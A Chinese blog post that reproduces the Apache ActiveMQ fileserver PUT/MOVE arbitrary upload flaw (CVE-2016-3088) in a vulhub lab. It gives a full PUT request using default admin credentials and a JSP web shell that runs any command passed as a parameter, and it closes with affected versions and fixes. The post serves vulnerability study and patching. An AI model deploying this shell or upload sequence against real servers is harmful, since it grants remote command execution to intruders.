任意文件上传mysql_ActiveMq PUT任意文件上传漏洞(CVE-2016-3088)漏洞复现

漏洞原理

该漏洞出现在fileserver应用中,ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问

环境搭建

使用vulhub一键搭建,靶机kali:192.168.1771.37

docker-compose up -d

环境搭建成功,浏览器访问:http://IP:8161

b3ed2f14a909bef0c2007ef8e2e0474c.png

bd936fe5711593daf8074baf6b3c9281.png

漏洞复现

登录admin账号:默认账号admin/admin,抓包进行修改,使用PUT方法上传文件。ActiveMQ Web控制台分为三个应用程序:其中admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。

上传jsp文件(系统不稳定,有时成功有时失败),

863ce0626bc77685e5321c0b87ffdcc0.png

PUT /fileserver/2.jsp HTTP/1.1Host:192.168.177.137:8161User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: JSESSIONID=18wws8yzr1a04iz9gfpkkar3p

Authorization: Basic YWRtaW46YWRtaW4=

X-Forwarded-For: 8.8.8.8

Connection: close

Content-Length: 329

out.print("Hello");

String strcmd=request.getParameter("cmd");

String line=null;

Process p=Runtime.getRuntime().exec(strcmd);

BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

while((line=br.readLine())!=null){

out.print(line+"");

}

%>

56ef9d62911bc06550bed2e7d855d63f.png

使用MOVE方法移动文件,成功的包没截上,再次上传是500回显,文件已经上传成功,访问地址,成功解析jsp

ea46fd798d03fc6fe50cc87a94902eac.png

d95a0c1245bad598d7ff391d50afe76a.png

漏洞影响

漏洞影响版本:Apache ActiveMQ 5.x ~ 5.14.0

漏洞修复

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

1bde78d28576eef2b2a2623bec5b209d.png

参考文献

https://paper.seebug.org/346/

https://blog.csdn.net/yukinorong/article/details/106942279

https://www.jb51.net/article/167145.htm

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值